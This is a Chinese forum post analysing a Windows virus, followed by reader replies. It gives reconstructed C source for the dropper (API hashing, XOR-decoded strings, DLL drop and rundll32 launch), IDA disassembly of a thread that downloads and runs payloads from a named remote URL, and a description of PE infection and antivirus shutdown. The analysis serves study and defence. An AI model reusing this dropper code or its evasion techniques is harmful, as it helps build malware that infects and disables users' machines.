首页
社区
课程
招聘
[原创]一个病毒的简单分析
发表于: 2016-1-8 19:01 8808

[原创]一个病毒的简单分析

2016-1-8 19:01
8808

标 题: 【原创】一个病毒的简单分析
作 者: 瀚海云烟
时 间: 2016-01-08, 19:01:54
链 接: http://bbs.pediy.com/showthread.php?t=207042

前几日电脑启动项老是出现一个叫system.exe的启动项,前几次就删除作罢,也没细细追究,但几次以后厌烦了,直接拿出IDA,OD分析,然后就有了这篇文章,以前也没做过完整的病毒分析,第一次吧。本来也是想逆向出完整的可编译代码的,后面牵连的文件越来越多,工作越来越繁琐,逆了一点以后放弃了。

先描述一下病毒行为吧
system.exe  释放文件里面的两个dll,并用rundll32 启动两个dll
grea.dll(以后简称叫做dll1,文件名生成随机) 3个线程工作,第一个线程下载http://trt10.t3egc.com:8080/rt10/d.txt文件,并根据里面的列表下载其他virus并执行。第二个线程将system.exe 写入启动项。第三个线程枚举磁盘上的exe文件,将一段payload插入其中,并将system.exe写入文件结尾。
jmgr.dll (dll2,文件名也是随机)停止防火墙、Winfender,并加载驱动cdriver.sys检测并关闭杀毒软件(McAfee、360、瑞星、ESET)
CDriver.sys  根据第二个dll的指令实行杀进程,hook  ZwCreateProcessEx禁止进程启动

其中system.exe 代码已经逆的差不多,直接给逆向好的源码吧。(释放并运行dll1已经完全逆向出来,dll2类同,就不再继续逆了,把GetStringHash函数逆出来还是不错的,后面其他模块的分析会继续用到这个函数,此函数是计算字符串的hash值,后面的进程名也用到,无法还原进程名)

#pragma comment(linker, "/ENTRY:entry")
#include <windows.h>
// #define RELEASE_PUBLIC


extern unsigned char Dll1[0xD400];
extern unsigned char Dll2[];

void LoopGetFileName(char* buf, int index, int seed) // 00401000
{
    buf[index] = seed%24 + 'a';
    int nextSeed = seed/10; 
    if (nextSeed > 0)
    {
        LoopGetFileName(buf, index+1, nextSeed);
    }
    else
    {
        buf[index] = '\0';
    }
}

DWORD GetStringHash(PSTR FuncName) // 00401070
{
    DWORD dw1 = 0x5C6B7;
    DWORD dw2 = 0xF8C9;
    DWORD dw3 = 0;
    while(*FuncName)
    {
        if (*FuncName >= 'A' && *FuncName <= 'Z')
        {
            dw3 = *FuncName + dw3*dw2 + 0x20;
        }
        else
        {
            dw3 = *FuncName + dw3*dw2;
        }
        dw2 = dw2*dw1;

        FuncName++;
    }

    return dw3&0x7FFFFFFF;
}

PVOID GetProcAddr(HMODULE hmodule, DWORD hash) // 00401100
{
    PIMAGE_DOS_HEADER Header = (PIMAGE_DOS_HEADER)hmodule;
    PIMAGE_NT_HEADERS peheader = 
        (PIMAGE_NT_HEADERS)((DWORD)Header + Header->e_lfanew);
    
    // 导出表地址
    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY) // (pRELOADTABLE)
        ( (LPBYTE)hmodule + peheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    
    // IAT地址
    LPBYTE pExportAddr = (LPBYTE)hmodule + peheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    DWORD dwExportSize = peheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
    
    PDWORD NameRVA = (PDWORD)((LPBYTE)hmodule + pExportDir->AddressOfNames );
    PDWORD FuncAddr = (PDWORD)((LPBYTE)hmodule + pExportDir->AddressOfFunctions);
    PWORD Ordinal = (PWORD)((LPBYTE)hmodule + pExportDir->AddressOfNameOrdinals);

    // 遍历以名称导出的函数
    for (DWORD i=0; i<pExportDir->NumberOfNames; i++)
    {
        LPSTR tmpfunname = (PSTR)((DWORD)NameRVA[i]+(LPBYTE)hmodule);

        if (hash == GetStringHash(tmpfunname))
        {
            WORD Hint = Ordinal[i];
            return (LPBYTE)hmodule+FuncAddr[Hint];
        }
    }

    return NULL;
}

HMODULE GetKernel32BaseAddress()  // 004011A0
{
    char kernel32[] = "kernel32.dll";
    return GetModuleHandleA(kernel32);
}

PVOID GetHashProcAddr(DWORD hash) // 004011F0
{
    return GetProcAddr(GetKernel32BaseAddress(), hash);
}

void DecodeString(char* srcbuf, char* dstbuf, int len, int key) // 00401240
{
    for (int i=0; i<len; i++)
    {
        dstbuf[i] = srcbuf[i]^key;
    }
}

void SaveAndRunSecondDll()  // 00401280
{
    ;
}

void SaveAndRunFirstDll()  // 00401730
{
    char SaveDll[260];
    char SaveDllName[20];  
    typedef UINT (WINAPI* GetSystemDir)(LPSTR,UINT);
    GetSystemDir SysDir = (GetSystemDir)GetHashProcAddr(0x214c6981); // GetSystemDirectoryA
    SysDir(SaveDll, 260);

    typedef DWORD (WINAPI* TickCount)();
    TickCount Tick = (TickCount)GetHashProcAddr(0x1C368DA0);
    LoopGetFileName(SaveDllName , 0, Tick()); 

    strcat(SaveDll, "\\");
    strcat(SaveDll, SaveDllName);
    strcat(SaveDll, ".dll");

    typedef HANDLE (WINAPI *PCreateFile)(LPCSTR , DWORD , DWORD , LPSECURITY_ATTRIBUTES , DWORD , DWORD , HANDLE);
    PCreateFile cf = (PCreateFile)GetHashProcAddr(0x4E1E0843); // CreateFileA
    HANDLE handle = cf(SaveDll, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (handle != INVALID_HANDLE_VALUE)
    {
        DWORD dwBytes;
        typedef BOOL(WINAPI* WriteF)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
        WriteF writef= (WriteF)GetHashProcAddr(0x7463A627); // WriteFile
        writef(handle, Dll1, sizeof(Dll1), &dwBytes, NULL);

        typedef BOOL (WINAPI* pClose)(HANDLE);
        pClose closef = (pClose)GetHashProcAddr(0x70EBFB28); // CloseHandle 
        closef(handle);
    }
    
    char buf[] = {0x60, 0x47, 0x5C, 0x56, 0x5E, 0x5E, 0x01, 0x00, 0x12, 0x32};
    DecodeString(buf, buf, 10, 0x32);

    STARTUPINFO StartupInfo = {sizeof(STARTUPINFO)};
    PROCESS_INFORMATION ProcessInformation = {0};
    strcat(SaveDll, " Exucute");
    char RunCommand[MAX_PATH];
    strcpy(RunCommand, buf);
    strcat(RunCommand, SaveDll);

    strlen(RunCommand);  // 这个没用

    typedef BOOL (WINAPI* Prunproc)(LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
    Prunproc procrun = (Prunproc)GetHashProcAddr(0x00E621D6);  // CreateProcess
#ifdef RELEASE_PUBLIC
    procrun(NULL, RunCommand, NULL, NULL, FALSE, 0, NULL, NULL, &StartupInfo, &ProcessInformation);
#endif
    
    WaitForSingleObject(ProcessInformation.hProcess, 60000);
}



void entry()  // 004019E0
{
    char ExitFileName[260];
    char NewFileName[260];
    SetSystemCursor( CopyIcon(LoadCursorA(NULL, MAKEINTRESOURCE(0x7F00))), 0x7F8A);

    SaveAndRunFirstDll();
    SaveAndRunSecondDll();

    GetModuleFileNameA(NULL, ExitFileName, MAX_PATH);
    GetSystemDirectoryA(NewFileName, MAX_PATH);
    char name[] = "\\system.exe";
    lstrcatA(NewFileName, name);

#ifdef RELEASE_PUBLIC
    MoveFileA(ExitFileName, NewFileName); 
#endif

    ExitProcess(0);
}


unsigned char Dll1[0xD400] = {
.... // dll数据太多, 就省略了
};
.text:10002476                 push    0               ; lpThreadId
.text:10002478                 push    0               ; dwCreationFlags
.text:1000247A                 push    0               ; lpParameter
.text:1000247C                 push    offset RunDownAndExec ; 执行下载病毒的工作,然后执行病毒体
.text:10002481                 push    0               ; dwStackSize
.text:10002483                 push    0               ; lpThreadAttributes
.text:10002485                 call    ds:CreateThread
.text:10002485
.text:1000248B                 mov     [ebp+hHandle], eax
.text:1000248E                 mov     edx, [ebp+hHandle]
.text:10002491                 push    edx             ; hObject
.text:10002492                 call    ds:CloseHandle
.text:10002492
.text:10002498                 push    0               ; lpThreadId
.text:1000249A                 push    0               ; dwCreationFlags
.text:1000249C                 push    0               ; lpParameter
.text:1000249E                 push    offset WriteRegister ; 写启动项的线程
.text:100024A3                 push    0               ; dwStackSize
.text:100024A5                 push    0               ; lpThreadAttributes
.text:100024A7                 call    ds:CreateThread
.text:100024A7
.text:100024AD                 mov     [ebp+hHandle], eax
.text:100024B0                 mov     eax, [ebp+hHandle]
.text:100024B3                 push    eax             ; hObject
.text:100024B4                 call    ds:CloseHandle
.text:100024B4
.text:100024BA                 push    0               ; lpThreadId
.text:100024BC                 push    0               ; dwCreationFlags
.text:100024BE                 push    0               ; lpParameter
.text:100024C0                 push    offset EnumAllDiskExeInsertVirus ; 枚举磁盘并感染PE,写入system.exe,塞入一个payload
                                                                        ;在payload中释放system.exe到system32目录下并执行,然后将自身程序名改名后面加t,后释放还原原始exe并执行
.text:100024C5                 push    0               ; dwStackSize
.text:100024C7                 push    0               ; lpThreadAttributes
.text:100024C9                 call    ds:CreateThread
.text:100021F0 ; DWORD __stdcall RunDownAndExec(LPVOID a1)
.text:100021F0 RunDownAndExec  proc near               ; DATA XREF: Exucute+AC o
.text:100021F0
.text:100021F0
.text:100021F0                 push    ebp
.text:100021F1                 mov     ebp, esp
.text:100021F3                 sub     esp, 338h
.text:100021F9                 push    214C6981h       ; GetSystemDirectoryA
.text:100021FE                 call    GetHashProcAddr
.text:100021FE
.text:10002203                 add     esp, 4
.text:10002206                 mov     [ebp+GetSystemDirectoryA], eax
.text:1000220C                 push    104h
.text:10002211                 lea     eax, [ebp+String1]
.text:10002217                 push    eax
.text:10002218                 call    [ebp+GetSystemDirectoryA]
.text:10002218
.text:1000221E                 mov     [ebp+String2], '\'
.text:10002225                 mov     [ebp+var_22B], '\'
.text:1000222C                 mov     [ebp+var_22A], 'w'
.text:10002233                 mov     [ebp+var_229], 'i'
.text:1000223A                 mov     [ebp+var_228], 'n'
.text:10002241                 mov     [ebp+var_227], 'i'
.text:10002248                 mov     [ebp+var_226], 'n'
.text:1000224F                 mov     [ebp+var_225], 'e'
.text:10002256                 mov     [ebp+var_224], 't'
.text:1000225D                 mov     [ebp+var_223], '.'
.text:10002264                 mov     [ebp+var_222], 'd'
.text:1000226B                 mov     [ebp+var_221], 'l'
.text:10002272                 mov     [ebp+var_220], 'l'
.text:10002279                 mov     [ebp+var_21F], 0
.text:10002280                 lea     ecx, [ebp+String2]
.text:10002286                 push    ecx             ; lpString2
.text:10002287                 lea     edx, [ebp+String1]
.text:1000228D                 push    edx             ; lpString1
.text:1000228E                 call    ds:lstrcatA
.text:1000228E
.text:10002294                 push    723B8118h       ; GetTempPathA
.text:10002299                 call    GetHashProcAddr
.text:10002299
.text:1000229E                 add     esp, 4
.text:100022A1                 mov     [ebp+GetTempPathA], eax
.text:100022A7                 lea     eax, [ebp+PathName]
.text:100022AD                 push    eax
.text:100022AE                 push    104h
.text:100022B3                 call    [ebp+GetTempPathA]
.text:100022B3
.text:100022B9                 lea     ecx, [ebp+LibFileName]
.text:100022BF                 push    ecx             ; lpTempFileName
.text:100022C0                 push    0               ; uUnique
.text:100022C2                 push    0               ; lpPrefixString
.text:100022C4                 lea     edx, [ebp+PathName]
.text:100022CA                 push    edx             ; lpPathName
.text:100022CB                 call    ds:GetTempFileNameA
.text:100022CB
.text:100022D1                 push    3AFEB504h       ; CopyFileA
.text:100022D6                 call    GetHashProcAddr
.text:100022D6
.text:100022DB                 add     esp, 4
.text:100022DE                 mov     [ebp+CopyFileA], eax
.text:100022E4                 push    0
.text:100022E6                 lea     eax, [ebp+LibFileName]
.text:100022EC                 push    eax
.text:100022ED                 lea     ecx, [ebp+String1]
.text:100022F3                 push    ecx
.text:100022F4                 call    [ebp+CopyFileA] ; 将文件wininet 拷贝到%tmp%目录下,然后LoadLibraryA加载dll
.text:100022F4
.text:100022FA                 lea     edx, [ebp+LibFileName] ; 从wininet中得到各函数地址保存,
.text:10002300                 push    edx             ; lpLibFileName
.text:10002301                 call    ds:LoadLibraryA
.text:10002301
.text:10002307                 mov     [ebp+var_230], eax
.text:1000230D                 push    0B8F05C0h       ; InternetOpenA
.text:10002312                 mov     eax, [ebp+var_230]
.text:10002318                 push    eax
.text:10002319                 call    GetProcAddr
.text:10002319
.text:1000231E                 add     esp, 8
.text:10002321                 mov     InternetOpenA, eax
.text:10002326                 push    15601607h       ; InternetOpenUrlA
.text:1000232B                 mov     ecx, [ebp+var_230]
.text:10002331                 push    ecx
.text:10002332                 call    GetProcAddr
.text:10002332
.text:10002337                 add     esp, 8
.text:1000233A                 mov     InternetOpenUrlA, eax
.text:1000233F                 push    4E9CAF2Dh       ; InternetReadFile
.text:10002344                 mov     edx, [ebp+var_230]
.text:1000234A                 push    edx
.text:1000234B                 call    GetProcAddr
.text:1000234B
.text:10002350                 add     esp, 8
.text:10002353                 mov     InternetReadFile, eax
.text:10002358                 push    1461401h        ; InternetCloseHandle
.text:1000235D                 mov     eax, [ebp+var_230]
.text:10002363                 push    eax
.text:10002364                 call    GetProcAddr
.text:10002364
.text:10002369                 add     esp, 8
.text:1000236C                 mov     InternetCloseHandle, eax
.text:1000236C
.text:10002371
.text:10002371 loc_10002371:                           ; CODE XREF: RunDownAndExec+19A j
.text:10002371                 mov     ecx, 1
.text:10002376                 test    ecx, ecx
.text:10002378                 jz      short loc_1000238C ; while(1)   一个死循环
.text:10002378
.text:1000237A                 call    DoDownAndRunVirus   ; 利用Internet函数下载并执行病毒
 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 3
支持
分享
最新回复 (11)
雪    币: 129
活跃值: (333)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
xed
2
很详细 。赞一个
2016-1-8 19:11
0
雪    币: 6
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
谢谢分享技术贴。
2016-1-8 19:14
0
雪    币: 191
活跃值: (848)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
4
感谢分享
2016-1-8 22:05
0
雪    币: 204
活跃值: (911)
能力值: (RANK:1324 )
在线值:
发帖
回帖
粉丝
5
最喜欢看这种文章了,感谢分享
2016-1-8 22:54
0
雪    币: 11
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
加油吧....
2016-1-8 23:30
0
雪    币: 47
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
学习了,,大牛
2016-12-29 22:25
0
雪    币: 2375
活跃值: (433)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
unsigned char Dll1[0xD400] 这个数组是未解密的代码么?
2017-1-1 20:16
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
感谢分享。
2017-1-5 18:58
0
雪    币: 222
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
感谢大佬分享
2017-1-6 18:35
0
雪    币: 293
活跃值: (287)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
11
petersonhz unsigned char Dll1[0xD400] 这个数组是未解密的代码么?
Dll1是被感染文件中新增加的一个段,保存文中的grea.dll文件
Dll2是文中的jmgr.dll。
ps:名字是随机生成的,就是释放顺序1,2
2017-7-25 13:08
0
雪    币: 221
活跃值: (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
12
赞,但是还看不懂,,
2017-7-27 13:26
0
游客
登录 | 注册 方可回帖
返回
//